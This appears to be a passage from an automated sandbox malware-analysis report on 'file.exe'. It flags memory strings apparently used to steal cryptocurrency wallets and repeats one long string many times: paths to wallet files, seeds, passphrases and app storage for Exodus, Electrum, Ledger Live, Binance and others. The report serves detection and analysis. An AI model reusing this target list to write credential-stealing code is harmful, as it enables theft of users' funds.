File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 